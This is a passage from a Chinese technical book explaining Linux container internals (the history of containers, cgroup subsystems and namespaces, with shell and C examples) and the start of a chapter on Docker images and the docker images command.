实际上，Namespace和Cgroup并不是强相关的两种技术，用户可以根据需要单独使用它们，比如单独使用Cgroup做资源控制，就是一种比较常见的做法。而如果把它们应用到一起，在一个Namespace中的进程恰好又在一个Cgroup中，那么这些进程就既有访问隔离，又有资源控制，符合容器的特性，这样就创建了一个容器。

对于Namespace和Cgroup，后面的章节会做详细的介绍。

2.1.2　容器技术的历史

上文提到容器技术属于一种操作系统虚拟化，事实上，其最早的原型可以简化为对目录结构的简单抽象，如图2-1所示。

图2-1　容器技术最早原型

图2-1所示为在普通的目录结构中创建一个完整的子目录结构。这种抽象化目录结构的出现最早源于1982年，那时通过chroot技术把用户的文件系统根目录切换到某个指定的目录下，实现了简单的文件系统视图上的抽象或虚拟化。但是这种技术只是提供了有限的文件系统隔离，并没有任何其他隔离手段，而且人们后来发现这种技术并不安全，用户可以逃离设定的根目录从而访问host上的文件。

针对上面提到的安全性问题，在2000年，内核版本2.3.41引入了pivot_root技术，它可以有效地避免chroot带来的安全性问题。今日的容器技术，比如LXC、Docker等，也都是使用了pivot_root来做根文件系统的切换。然而pivot_root也仅仅是在文件系统的隔离上做了一些增强，并没有在其他隔离性上有所提高。

同样在2000年左右，市场上出现了一些商用的容器技术，比如Linux-VServer和SWsoft（现在的Odin）开发的Virtuozzo，虽然这些技术相对当时的XEN和KVM，有明显的性能提升，但是因为各种原因，并未在当时引起市场太多的关注。

注意

这里只讨论Linux系统上的容器技术，同时期还有很多有名的非Linux平台的容器技术，比如FreeBSD的jail、Solaris上的Zone等。

到了2005年，同样是Odin公司，在Virtuozzo的基础上发布了OpenVZ技术，同时开始推动OpenVZ中的核心容器技术进入Linux内核主线，而此时IBM等公司也在推动类似的技术，最后在社区的合作下，形成了目前大家看到的Cgroup和Namespace，这时，容器技术才开始逐渐进入大众的视野。

对于Namespace，其各个子系统进入内核的版本号及贡献公司如表2-1所示。

表2-1　Namespace内核版本支持

说明

User Namespace在3.8版本重新实现。

对于Cgroup，其各个子系统进入内核的版本号及贡献公司如表2-2所示。

表2-2　Cgroup内核版本支持

注意

以上只列举了早期主要的子系统，较新的子系统如net cls、hugetlb等并未列出。

整个容器的发展历史可以通过图2-2来展示。

图2-2　容器发展历史

随着容器技术在内核主线中的不断成熟和完善，2013年诞生的Docker真正让容器技术得到了全世界技术公司和开发人员的关注，相信容器技术的未来一定会比它的前世和今生更加精彩。

2.2　一分钟理解容器

2.2.1　容器的组成

上文已多次提及，容器的核心技术是Cgroup+Namespace，但光有这两个抽象的技术概念是无法组成一个完整的容器的。在2.1.2节也提到过最早的容器概念就包括了对文件目录视图的抽象隔离，而所有的这一切，都需要有工具来驱动，需要有一个工具来提供用户可操作的接口，来创建一个容器。所以笔者认为，对于Linux容器的最小组成，可以由以下公式来表示：

容器=cgroup+namespace+rootfs+容器引擎（用户态工具）

其中各项的功能分别为：

·Cgroup：资源控制。

·Namespace：访问隔离。

·rootfs：文件系统隔离。

·容器引擎：生命周期控制。

目前市场上所有Linux容器项目都包含以上组件。

2.2.2　容器的创建原理

至此对容器的描述还一直停留在文件和概念的层面，本小节将通过简单的代码抽象，清晰地展现容器的创建原理，使读者对容器有更深刻的理解。

代码一：

pid = clone(fun, stack, flags, clone_arg);
(flags: CLONE_NEWPID  | CLONE_NEWNS  |
CLONE_NEWUSER | CLONE_NEWNET |
CLONE_NEWIPC  | CLONE_NEWUTS |
…)

代码二：

echo $pid > /sys/fs/cgroup/cpu/tasks
echo $pid > /sys/fs/cgroup/cpuset/tasks
echo $pid > /sys/fs/cgroup/blkio/tasks
echo $pid > /sys/fs/cgroup/memory/tasks
echo $pid > /sys/fs/cgroup/devices/tasks
echo $pid > /sys/fs/cgroup/freezer/tasks

代码三：

fun()
{
…
pivot_root("path_of_rootfs/", path);
…
exec("/bin/bash");
…
}

·对于代码一，通过clone系统调用，并传入各个Namespace对应的clone flag，创建了一个新的子进程，该进程拥有自己的Namespace。根据以上代码可知，该进程拥有自己的pid、mount、user、net、ipc、uts namespace。

·对于代码二，将代码一中产生的进程pid写入各个Cgroup子系统中，这样该进程就可以受到相应Cgroup子系统的控制。

·对于代码三，该fun函数由上面生成的新进程执行，在fun函数中，通过pivot_root系统调用，使进程进入一个新的rootfs，之后通过exec系统调用，在新的Namespace、Cgroup、rootfs中执行“/bin/bash”程序。

通过以上操作，成功地在一个“容器”中运行了一个bash程序。对于Cgroup和Namespace的技术细节，将在以下两节详细描述。

2.3　Cgroup介绍

2.3.1　Cgroup是什么

Cgroup是control group的简写，属于Linux内核提供的一个特性，用于限制和隔离一组进程对系统资源的使用，也就是做资源QoS，这些资源主要包括CPU、内存、block I/O和网络带宽。Cgroup从2.6.24开始进入内核主线，目前各大发行版都默认打开了Cgroup特性。

从实现的角度来看，Cgroup实现了一个通用的进程分组的框架，而不同资源的具体管理则是由各个Cgroup子系统实现的。截止到内核4.1版本，Cgroup中实现的子系统及其作用如下：

·devices：设备权限控制。

·cpuset：分配指定的CPU和内存节点。

·cpu：控制CPU占用率。

·cpuacct：统计CPU使用情况。

·memory：限制内存的使用上限。

·freezer：冻结（暂停）Cgroup中的进程。

·net_cls：配合tc（traffic controller）限制网络带宽。

·net_prio：设置进程的网络流量优先级。

·huge_tlb：限制HugeTLB的使用。

·perf_event：允许Perf工具基于Cgroup分组做性能监测。

在Cgroup出现之前，只能对一个进程做一些资源控制，例如通过sched_setaffinity系统调用限定一个进程的CPU亲和性，或者用ulimit限制一个进程的打开文件上限、栈大小等。另外，使用ulimit可以对少数资源基于用户做资源控制，例如限制一个用户能创建的进程数。而Cgroup可以对进程进行任意的分组，如何分组是用户自定义的，例如安卓的应用分为前台应用和后台应用，前台应用是直接跟用户交互的，需要响应速度快，因此前台应用对资源的申请需要得到更多的保证。为此安卓将前台应用和后台应用划分到不同的Cgroup中，并且对放置前台应用的Cgroup配置了较高的系统资源限额。

提示

从1.6版本开始，Docker也支持ulimit，读者可以查阅相关Docker文档及Linux用户手册。

2.3.2　Cgroup的接口和使用

Cgroup的原生接口通过cgroupfs提供，类似于procfs和sysfs，是一种虚拟文件系统。以下用一个实例演示如何使用Cgroup。

（1）挂载cgroupfs

命令如下：

# mount –t cgroup –o cpuset cpuset /sys/fs/cgroup/cpuset

首先必须将cgroupfs挂载起来，这个动作一般已经在启动时由Linux发行版做好了。可以把cgroupfs挂载在任意一个目录上，不过标准的挂载点是/sys/fs/cgroup。

注意

实际上sysfs里面只有/sys/fs/cgroup目录，并且sysfs是不允-许用户创建目录的，这里可以将tmpfs挂载上去，然后在tmpfs上创建目录。

（2）查看cgroupfs

# ls /sys/fs/cgroup/cpuset
cgroup.clone_children  cpuset.memory_pressure
cgroup.procs           cpuset.memory_pressure_enabled
cgroup.sane_behavior   cpuset.memory_spread_page
cpuset.cpu_exclusive   cpuset.memory_spread_slab
cpuset.cpus            cpuset.mems
cpuset.effective_cpus  cpuset.sched_load_balance
cpuset.effective_mems  cpuset.sched_relax_domain_level
cpuset.mem_exclusive   notify_on_release
cpuset.mem_hardwall    release_agent
cpuset.memory_migrate  tasks

可以看到这里有很多控制文件，其中以cpuset开头的控制文件都是cpuset子系统产生的，其他文件则由Cgroup产生。这里面的tasks文件记录了这个Cgroup的所有进程（包括线程），在系统启动后，默认没有对Cgroup做任何配置的情况下，cgroupfs只有一个根目录，并且系统所有的进程都在这个根目录中，即进程pid都在根目录的tasks文件中。

注意

实际上现在大多数Linux发行版都是采用的systemd，而systemd使用了Cgroup，所以在这些发行版上，当系统启动后看到的cgroupfs是有一些子目录的。

（3）创建Cgroup

# mkdir /sys/fs/cgroup/cpuset/child

通过mkdir创建一个新的目录，也就创建了一个新的Cgroup。

（4）配置Cgroup

# echo 0 > /sys/fs/cgroup/cpuset/child/cpuset.cpus
# echo 0 > /sys/fs/cgroup/cpsuet/child/cpuset.mems

接下来配置这个Cgroup的资源配额，通过上面的命令，就可以限制这个Cgroup的进程只能在0号CPU上运行，并且只会从0号内存节点分配内存。

（5）使能Cgroup

# echo $$ > /sys/fs/cgroup/cpuset/child/tasks

最后，通过将进程id写入tasks文件，就可以把进程移动到这个Cgroup中。并且，这个进程产生的所有子进程也都会自动放在这个Cgroup里。这时，Cgroup才真正起作用了。

提示

$$表示当前进程。另外，也可以把pid写入cgroup.procs中，两者的区别是写入tasks只会把指定的进程加到child中，写入cgroup.procs则会把这个进程所属的整个线程组都加到child中。

2.3.3　Cgroup子系统介绍

对实际资源的分配和管理是由各个Cgroup子系统完成的，下面介绍几个主要的子系统。

1.cpuset子系统

cpuset可以为一组进程分配指定的CPU和内存节点。cpuset一开始是用在高性能计算（HPC）上的，在NUMA架构的服务器上，通过将进程绑定到固定的CPU和内存节点上，来避免进程在运行时因跨节点内存访问而导致的性能下降。当然，现在cpuset也广泛用在了kvm和容器等场景上。

cpuset的主要接口如下。

·cpuset.cpus：允许进程使用的CPU列表（例如0~4，9）。

·cpuset.mems：允许进程使用的内存节点列表（例如0~1）。

2.cpu子系统

cpu子系统用于限制进程的CPU占用率。实际上它有三个功能，分别通过不同的接口来提供。

·CPU比重分配。这个特性使用的接口是cpu.shares。假设在cgroupfs的根目录下创建了两个Cgroup（C1和C2），并且将cpu.shares分别配置为512和1024，那么当C1和C2争用CPU时，C2将会比C1得到多一倍的CPU占用率。要注意的是，只有当它们争用CPU时cpu share才会起作用，如果C2是空闲的，那么C1可以得到全部的CPU资源。

·CPU带宽限制。这个特性使用的接口是cpu.cfs_period_us和cpu.cfs_quota_us，这两个接口的单位是微秒。可以将period设置为1秒，将quota设置为0.5秒，那么Cgroup中的进程在1秒内最多只能运行0.5秒，然后就会被强制睡眠，直到进入下一个1秒才能继续运行。

·实时进程的CPU带宽限制。以上两个特性都只能限制普通进程，若要限制实时进程，就要使用cpu.rt_period_us和cpu.rt_runtime_us这两个接口了。使用方法和上面类似。

3.cpuacct子系统

cpuacct子系统用来统计各个Cgroup的CPU使用情况，有如下接口。

·cpuacct.stat：报告这个Cgroup分别在用户态和内核态消耗的CPU时间，单位是USER_HZ。USER_HZ在x86上一般是100，即1 USER_HZ等于0.01秒。

·cpuacct.usage：报告这个Cgroup消耗的总CPU时间，单位是纳秒。

·cpuacct.usage_percpu：报告这个Cgroup在各个CPU上消耗的CPU时间，总和也就是cpuacct.usage的值。

4.memory子系统

memory子系统用来限制Cgroup所能使用的内存上限，有如下接口。

·memory.limit_in_bytes：设定内存上限，单位是字节，也可以使用k/K、m/M或者g/G表示要设置数值的单位，例如

# echo 1G > memory.limit_in_bytes

默认情况下，如果Cgroup使用的内存超过上限，Linux内核会尝试回收内存，如果仍然无法将内存使用量控制在上限之内，系统将会触发OOM，选择并“杀死”该Cgroup中的某个进程。

·memory.memsw.limit_in_bytes：设定内存加上交换分区的使用总量。通过设置这个值，可以防止进程把交换分区用光。

·memory.oom_control：如果设置为0，那么在内存使用量超过上限时，系统不会“杀死”进程，而是阻塞进程直到有内存被释放可供使用时；另一方面，系统会向用户态发送事件通知，用户态的监控程序可以根据该事件来做相应的处理，例如提高内存上限等。

·memory.stat：汇报内存使用信息。

5.blkio子系统

blkio子系统用来限制Cgroup的block I/O带宽，有如下接口。

·blkio.weight：设置权重值，范围在100到1000之间。这跟cpu.shares类似，是比重分配，而不是绝对带宽的限制，因此只有当不同的Cgroup在争用同一个块设备的带宽时才会起作用。

·blkio.weight_device：对具体的设备设置权重值，这个值会覆盖上述的blkio.weight。例如将Cgroup对/dev/sda的权重设为最小值：

# echo 8:0 100 > blkio.weight_device

·blkio.throttle.read_bps_device：对具体的设备，设置每秒读磁盘的带宽上限。例如对/dev/sda的读带宽限制在1MB/秒：

# echo "8:0 1048576" > blkio.throttle.read_bps_device

·blkio.throttle.write_bps_device：设置每秒写磁盘的带宽上限。同样需要指定设备。

·blkio.throttle.read_iops_device：设置每秒读磁盘的IOPS上限。同样需要指定设备。

·blkio.throttle.write_iops_device：设置每秒写磁盘的IOPS上限。同样需要指定设备。

注意

blkio子系统有两个重大的缺陷。一是对于比重分配，只支持CFQ调度器。另一个缺陷是，不管是比重分配还是上限限制，都只支持Direct-IO，不支持Buffered-IO，这使得blkio cgroup的使用场景很有限，好消息是Linux内核社区正在解决这个问题。

6.devices子系统

devices子系统用来控制Cgroup的进程对哪些设备有访问权限，有如下接口。

·devices.list。只读文件，显示目前允许被访问的设备列表。每个条目都有3个域，分别为：

·类型：可以是a、c或b，分别表示所有设备、字符设备和块设备。

·设备号：格式为major：minor的设备号。

·权限：r、w和m的组合，分别表示可读、可写、可创建设备结点（mknod）。

例如“a*：*rmw”，表示所有设备都可以被访问。而“c 1：3 r”，表示对1：3这个字符设备（即/dev/null）只有读权限。

·devices.allow。只写文件，以上面描述的格式写入该文件，就可以允许相应的设备访问权限。

·devices.deny。只写文件，以上面描述的格式写入该文件，就可以禁止相应的设备访问权限。

2.4　Namespace介绍

2.4.1　Namespace是什么

Namespace是将内核的全局资源做封装，使得每个Namespace都有一份独立的资源，因此不同的进程在各自的Namespace内对同一种资源的使用不会互相干扰。

这样的解释可能不清楚，举个例子，执行sethostname这个系统调用时，可以改变系统的主机名，这个主机名就是一个内核的全局资源。内核通过实现UTS Namespace，可以将不同的进程分隔在不同的UTS Namespace中，在某个Namespace修改主机名时，另一个Namespace的主机名还是保持不变。

目前Linux内核总共实现了6种Namespace：

·IPC：隔离System V IPC和POSIX消息队列。

·Network：隔离网络资源。

·Mount：隔离文件系统挂载点。

·PID：隔离进程ID。

·UTS：隔离主机名和域名。

·User：隔离用户ID和组ID。

2.4.2　Namespace的接口和使用

对Namespace的操作，主要是通过clone、setns和unshare这3个系统调用来完成的。

clone可以用来创建新的Namespace。它接受一个叫flags的参数，这些flag包括CLONE_NEWNS、CLONE_NEWIPC、CLONE_NEWUTS、CLONE_NEWNET、CLONE_NEWPID和CLONE_NEWUSER，我们通过传入这些CLONE_NEW*来创建新的Namespace。这些flag对应的Namespace都可以从字面上看出来，除了CLONE_NEWNS，这是用来创建Mount Namespace的。指定了这些flag后，由clone创建出来的新进程，就位于全新的Namespace里了，并且很自然地这个新进程以后创建出来的进程，也都在这个Namespace中。

提示

Mount Namespace是第一个实现的Namespace，当初实现时并不是为了实现Linux容器，因此也就没有预料到会有新的Namespace出现，因此用了CLONE_NEWNS而不是CLONE_NEWMNT之类的名字。

那么，能不能为已有的进程创建新的Namespace呢？答案是可以，unshare就是用来达到这个目的的。调用这个系统调用的进程，会被放进新创建的Namespace里，要创建什么Namespace由flags参数指定，可以使用的flag也就是上面提到的那些。

以上两个系统调用都是用来创建新的Namespace的，而setns则可以将进程放到已有的Namespace里，问题是如何指定已有的Namespace？答案在procfs里。每个进程在procfs下都有一个目录，在那里面就有Namespace相关的信息，如下。

# ls –l /proc/$$/ns
total 0
lrwxrwxrwx 1 root root 0 Jun 16 14:39 ipc -> ipc:[4026531839]
lrwxrwxrwx 1 root root 0 Jun 16 14:39 mnt -> mnt:[4026531840]
lrwxrwxrwx 1 root root 0 Jun 16 14:39 net -> net:[4026531957]
lrwxrwxrwx 1 root root 0 Jun 16 14:39 pid -> pid:[4026531836]
lrwxrwxrwx 1 root root 0 Jun 16 14:39 user -> user:[4026531837]
lrwxrwxrwx 1 root root 0 Jun 16 14:39 uts -> uts:[4026531838]

这里每个虚拟文件都对应了这个进程所处的Namespace。因此，如果另一个进程要进入这个进程的Namespace，可以通过open系统调用打开这里面的虚拟文件并得到一个文件描述符，然后把文件描述符传给setns，调用返回成功的话，就进入这个进程的Namespace了。

提示

docker exec命令的实现原理就是setns。

以下是一个简单的程序，在Linux终端调用这个程序就会进入新的Namespace，同时也可以打开另一个终端，这个终端是在host的Namespace里，这样就可以对比两个Namespace的区别了。

#define _GNU_SOURCE
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdio.h>
#define STACK_SIZE (1024 * 1024)
static char stack[STACK_SIZE];
static char* const child_args[] = { "/bin/bash", NULL };
static int child(void *arg)
{
execv("/bin/bash", child_args);
return 0;
}
int main(int argc, char *argv[])
{
pid_t pid;
pid = clone(child, stack+STACK_SIZE, SIGCHLD|CLONE_NEWUTS, NULL);
waitpid(pid, NULL, 0);
}

这个程序创建了UTS Namespace，可以通过修改flag，创建其他Namespace，也可以创建几个Namespace的组合。这个程序将会用来为下面的内容做演示。

2.4.3　各个Namespace介绍

1.UTS Namespace

UTS Namespace用于对主机名和域名进行隔离，也就是uname系统调用使用的结构体struct utsname里的nodename和domainname这两个字段，UTS这个名字也是由此而来的。

那么，为什么要使用UTS Namespace做隔离？这是因为主机名可以用来代替IP地址，因此，也就可以使用主机名在网络上访问某台机器了，如果不做隔离，这个机制在容器里就会出问题。

调用之前的程序后，在Namespace终端执行以下命令：

# hostname container
# hostname
container

这里已经改变了主机名，现在通过host终端来看看host的主机名：

# hostname
linux-host

可以看到，host的主机名并没有变化，这就是Namespace所起的作用。

2.IPC Namespace

IPC是Inter-Process Communication的简写，也就是进程间通信。Linux提供了很多种进程间通信的机制，IPC Namespace针对的是SystemV IPC和Posix消息队列。这些IPC机制都会用到标识符，例如用标识符来区别不同的消息队列，然后两个进程通过标识符找到对应的消息队列进行通信等。

IPC Namespace能做到的事情是，使相同的标识符在两个Namespace中代表不同的消息队列，这样也就使得两个Namespace中的进程不能通过IPC进程通信了。

举个例子，在namespace终端创建了一个消息队列：

# ipcmk -Q
Message queue id: 65536
# ipcs -q
------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages
0x0ec037c7 65536      root       644        0

这个消息队列的标识符是65536，现在在host终端看一下：

# ipcs -q
------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages

在这里看不到任何消息队列，IPC隔离的效果达到了。

3.PID Namespace

PID Namespace用于隔离进程PID号，这样一来，不同的Namespace里的进程PID号就可以是一样的了。

当创建一个PID Namespace时，第一个进程的PID号是1，也就是init进程。init进程有一些特殊之处，例如init进程需要负责回收所有孤儿进程的资源。另外，发送给init进程的任何信号都会被屏蔽，即使发送的是SIGKILL信号，也就是说，在容器内无法“杀死”init进程。

但是当用ps命令查看系统的进程时，会发现竟然可以看到host的所有进程：

# ps ax
PID TTY      STAT   TIME COMMAND
1 ?        Ss     0:24 init [5]
2 ?        S      0:06 [kthreadd]
3 ?        S      1:37 [ksoftirqd/0]
5 ?        S<     0:00 [kworker/0:0H]
7 ?        S      0:16 [kworker/u33:0]
...
7585 pts/0       S+     0:00 sleep 1000

这是因为ps命令是从procfs读取信息的，而procfs并没有得到隔离。虽然能看到这些进程，但由于它们其实是在另一个PID Namespace中，因此无法向这些进程发送信号：

# kill -9 7585
-bash: kill: (7585) - No such process

4.Mount Namespace

Mount Namespace用来隔离文件系统挂载点，每个进程能看到的文件系统都记录在/proc/$$/mounts里。在创建了一个新的Mount Namespace后，进程系统对文件系统挂载/卸载的动作就不会影响到其他Namespace。

之前看到，创建PID Namespace后，由于procfs没有改变，因此通过ps命令看到的仍然是host的进程树，其实可以通过在这个PID Namespace里挂载procfs来解决这个问题，如下：

# mount –t proc none /proc
# ps ax
PID TTY      STAT   TIME COMMAND
1 pts/2    S+     0:00 newns
3 pts/2    R+     0:00 ps ax

但此时由于文件系统挂载点没有隔离，因此host看到的procfs也会是这个新的procfs，这样在host上就会出问题：

# ps ax
Error, do this: mount -t proc none /proc

可如果同时使用Mount Namespace和PID Namespace，新的Namespace里的进程和host上的进程将会看到各自的procfs，故而也就不存在上面的问题了。

5.Network Namespace

这个Namespace会对网络相关的系统资源进行隔离，每个Network Namespace都有自己的网络设备、IP地址、路由表、/proc/net目录、端口号等。网络隔离的必要性是很明显的，举一个例子，在没有隔离的情况下，如果两个不同的容器都想运行同一个Web应用，而这个应用又需要使用80端口，那就会有冲突了。

新创建的Network Namespace会有一个loopback设备，除此之外不会有任何其他网络设备，因此用户需要在这里面做自己的网络配置。IP工具已经支持Network Namespace，可以通过它来为新的Network Namespace配置网络功能。首先创建Network Namespace：

# ip netns add new_ns

使用“ip netns exec”命令可以对特定的Namespace执行网络管理：

# ip netns exec new_ns ip link list
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN mode DEFAULT
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

看到确实只有loopback这个网络接口，并且它还因处于DOWN状态而不可用：

# ip netns exec new_ns ping 127.0.0.1
connect: Network is unreachable

通过以下命令可以启用loopback网络接口：

# ip netns exec new-ns ip link set dev lo up
# ip netns exec new-ns ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms
...

最后可以这样删除Namespace：

# ip netns delete new_ns

容器的网络配置是一个很大的话题，后面有专门的章节讲解，因此这里暂不展开。

6.User Namespace

User Namespace用来隔离用户和组ID，也就是说一个进程在Namespace里的用户和组ID与它在host里的ID可以不一样，这样说可能读者还不理解有什么实际的用处。User Namespace最有用的地方在于，host的普通用户进程在容器里可以是0号用户，也就是root用户。这样，进程在容器内可以做各种特权操作，但是它的特权被限定在容器内，离开了这个容器它就只有普通用户的权限了。

注意

容器内的这类root用户，实际上还是有很多特权操作不能执行，基本上如果这个特权操作会影响到其他容器或者host，就不会被允许。

在host上，可以看到我们是lizf用户。

$ id
uid=1000(lizf) gid=100(users) groups=100(users)

现在创建新的User Namespace，看看又是什么情况？

$ new-userns
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

可以看到，用户名和组名都变了，变成65534，不再是原来的1000和100。

接下来的问题是，怎么设定Namespace和host的UID的映射关系？方法是在创建新的Namespace后，设置这个Namespace里进程的/proc/<PID>/uid_map。在Namespace终端看到的是这样的：

$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ echo $$
17074
$ cat /proc/17074/uid_map
$

可以看到uid_map是空的，也就是还没有UID的映射。这可以在host终端上通过root用户设置，如下。

# echo "0 1000 65536" > /proc/17074/uid_map

上面命令表示要将[1000，66536]的UID在Namespace里映射成[0，65536]。再切回到Namespace终端看看：

$ id
uid=0(root) gid=65534(nogroup) 65534(nogroup)

可以看到，我们成功地将lizf用户映射成容器里的root用户了。对于gid，也可以做类似的操作。

至此，关于Namespace和Cgroup的知识就讲解完了，可以看到，Namespace和Cgroup的使用是很灵活的，同时这里面又有不少需要注意的地方，因此直接操作Namespace和Cgroup并不是很容易。正是因为这些原因，Docker通过Libcontainer来处理这些底层的事情。这样一来，Docker只需要简单地调用Libcontainer的API，就能将完整的容器搭建起来。而作为Docker的用户，就更不用操心这些事情了，而只需要学习Docker的使用手册，就能通过一两条简单的Docker命令启动容器。

2.5　容器造就Docker

关于容器是否是Docker的核心技术，业界一直存在着争议。有人认为Docker的核心技术是对分层镜像的创新使用，有人认为其核心是统一了应用的打包分发和部署方式，为服务器级别的“应用商店”提供了可能，而这将会是颠覆传统行业的举措。事实上，这一系列创新并不是依赖于容器技术的，基于传统的hypervisor也可以做到，业界也由此诞生了一些开源项目，比如Hyper、Clear Linux等。另外，Docker官方对Docker核心功能的描述“Build，Ship and Run”中也确实没有体现与容器强相关的内容。

尽管如此，笔者依然认为容器是Docker的核心技术之一。

首先从Docker的诞生历史上，它主要是为了完善当时不愠不火的容器项目LXC，使用户可以更方便地使用容器，让容器可以更好地应用到项目开发和部署的各个流程中。从一开始LXC就是Docker上的唯一容器引擎也可以看出这一点。所以可以说，Docker是为容器而生的。

另外，更重要的一点，跟Docker一起发展和被大家熟知的，还有叫做“微服务”（micro service）的设计哲学，而这会把容器的优势发挥得更加淋漓尽致。容器作为Linux平台的轻量级虚拟化，其核心优势是跟内核的无缝融合，其在运行效率上的优势和极小的系统开销，与需要将各个组件单独部署的微服务应用完美融合。而且微服务在隔离性问题上更加可控，这也避免了容器相对传统虚拟化在隔离性上的短板。所以，未来在微服务的设计哲学下，容器必将跟Docker一起得到更加广泛的应用和发展。

在理解了容器，理解了容器的核心技术Cgroup和Namespace，理解了容器技术如何巧妙且轻量地实现“容器”本身的资源控制和访问隔离之后，可以看到Docker和容器是一种完美的融合和相辅相成的关系，它们不是唯一的搭配，但一定是最完美的组合。与其说是容器造就了Docker，不如说是它们造就了彼此，容器技术让Docker得到更多的应用和推广，Docker也使得容器技术被更多人熟知。在可预见的未来，它们也一定会彼此促进，共同发展，在全新的解决方案和生态系统中扮演着重要的角色。

2.6　本章小结

本章对容器技术做了详细的剖析，相信读者已经对容器的概念和原理有了清晰的认识，在这样的基础之上，可以更加轻松和深刻地理解Docker的一系列技术了，接下来的章节会针对Docker中的各个子系统做详细的介绍。

第3章　理解Docker镜像

Docker所宣称的用户可以随心所欲地“Build、Ship and Run”应用的能力，其核心是由Docker image（Docker镜像）来支撑的。Docker通过把应用的运行时环境和应用打包在一起，解决了部署环境依赖的问题；通过引入分层文件系统这种概念，解决了空间利用的问题。它彻底消除了编译、打包与部署、运维之间的鸿沟，与现在互联网企业推崇的DevOps理念不谋而合，大大提高了应用开发部署的效率。Docker公司的理念被越来越多的人理解和认可也就是理所当然的了，而理解Docker image则是深入理解Docker技术的一个关键点。

本章主要介绍Docker image的使用和相关技术细节。其中3.1节介绍Docker image的基本概念；3.2节从image生命周期的角度介绍其使用方法；3.3节介绍Docker image的组织结构；3.4节介绍Docker image相关的一些扩展知识。

3.1　Docker image概念介绍

简单地说，Docker image是用来启动容器的只读模板，是容器启动所需要的rootfs，类似于虚拟机所使用的镜像。首先需要通过一定的规则和方法表示Docker image，如图3-1所示。

图3-1是典型的Docker镜像的表示方法，可以看到其被“/”分为了三个部分，其中每部分都可以类比Github中的概念。下面按照从左到右的顺序介绍这几个部分以及相关的一些重要概念。

图3-1　Docker镜像的典型表示法

·Remote docker hub：集中存储镜像的Web服务器地址。该部分的存在使得可以区分从不同镜像库中拉取的镜像。若Docker的镜像表示中缺少该部分，说明使用的是默认镜像库，即Docker官方镜像库。

·Namespace：类似于Github中的命名空间，是一个用户或组织中所有镜像的集合。

·Repository：类似于Git仓库，一个仓库可以有多个镜像，不同镜像通过tag来区分。

·Tag：类似Git仓库中的tag，一般用来区分同一类镜像的不同版本。

·Layer：镜像由一系列层组成，每层都用64位的十六进制数表示，非常类似于Git仓库中的commit。

·Image ID：镜像最上层的layer ID就是该镜像的ID，Repo：tag提供了易于人类识别的名字，而ID便于脚本处理、操作镜像。

镜像库是Docker公司最先提出的概念[1]，非常类似应用市场的概念。用户可以发布自己的镜像，也可以使用别人的镜像。Docker开源了镜像存储部分的源代码（Docker Registry以及Distribution），但是这些开源组件并不适合独立地发挥功能，需要使用Nginx等代理工具添加基本的鉴权功能，才能搭建出私有镜像仓库。本地镜像则是已经下载到本地的镜像，可以使用docker images等命令进行管理。这些镜像默认存储在/var/lib/docker路径下，该路径也可以使用docker daemon–g参数在启动Daemon时指定。

提示

Docker的镜像已经支持更多层级，比如用户的命名空间之前可以包含组织（Remote-dockerhub.com/group/namespace/bar：latest）。但是目前Docker官方的镜像库还不具备该能力。

[1] 见https://hub.docker.com。

3.2　使用Docker image

Docker内嵌了一系列命令制作、管理、上传和下载镜像。可以调用REST API给Docker daemon发送相关命令，也可以使用client端提供的CLI命令完成操作。本书的第7章会详细阐述Docker REST API的细节，本节则主要根据功能对涉及image的命令进行说明。下面就从Docker image的生命周期角度说明Docker image的相关使用方法。

3.2.1　列出本机的镜像

下面的命令可以列出本地存储中镜像，也可以查看这些镜像的基本信息。

$ docker images
REPOSITORY  TAG                 IMAGE ID          CREATED           VIRTUAL SIZE
ubuntu      14.04.2              2103b00b3fdf      5 months ago      188.3 MB
ubuntu      latest               2103b00b3fdf      5 months ago      188.3 MB
ubuntu      trusty               2103b00b3fdf      5 months ago      188.3 MB
ubuntu      trusty-20150228.11   2103b00b3fdf      5 months ago      188.3 MB
ubuntu      14.04                2d24f826cb16      5 months ago      188.3 MB
busybox     buildroot-2014.02    4986bf8c1536      7 months ago      2.43 MB
busybox     latest               4986bf8c1536      7 months ago      2.43 MB

此外，通过--help参数还可以查询docker images的详细用法，如下：

$ docker images --help
Usage: docker images [OPTIONS] [REPOSITORY]
List images
-a, --all=false      Show all images (default hides intermediate images)
--digests=false      Show digests
-f, --filter=[]       Filter output based on conditions provided
--help=false         Print usage
--no-trunc=false     Don't truncate output
-q, --quiet=false    Only show numeric IDs

其中，--filter用于过滤docker images的结果，过滤器采用key=value的这种形式。目前支持的过滤器为dangling和label。--filter"dangling=true"会显示所有“悬挂”镜像。“悬挂”镜像没有对应的名称和tag，并且其最上层不会被任何镜像所依赖。docker commit在一些情况下会产生这种“悬挂”镜像。下面第一条命令产生了一个“悬挂”镜像，第二条命令则根据其特点过滤出该镜像了。图3-2中的d08407d841f3就是这种镜像。

$ docker commit 0d6cbf57f660
$ docker images  --filter "dangling=true"
REPOSITORY     TAG         IMAGE ID            CREATED             VIRTUAL SIZE
<none>        <none>       d08407d841f3        3 hours ago         2.43 MB

在上面的命令中，--no-trunc参数可以列出完整长度的Image ID。若添加参数-q则会只输出Image ID，该参数在管道命令中很有用处。一般来说悬挂镜像并不总是我们所需要的，并且会浪费磁盘空间。可以使用如下管道命令删除所有的“悬挂”镜像。

$ docker images  --filter "dangling=true" -q  | xargs  docker rmi
Deleted: 8a39aa048fe3f2e319651b206073b2a2e437dcf85c15fedb6f437cfe86105145

这里的--digests比较特别，这个参数是伴随着新版本的Docker Registry V2（即Distribution）产生的，在本书接下来的第4章会详细说明。

按照Docker官方路标和最近的动作，Docker只会保留最核心的image相关命令和功能，因此那些非核心功能就会被删除。比如--tree和--dot已经从Docker 1.7中删掉。官方推荐使用dockerviz[1]工具分析Docker image。执行以下命令，可以图形化地展示Docker image的层次关系。

# dockviz images -d | dot -Tpng -o images.png

执行结果如图3-2所示，可以看到，同一个仓库中的镜像并不一定要有特别的关系，比如ubuntu：14.04和ubuntu：14.04.2之间就没有共享任何层。

图3-2　Docker image层次关系

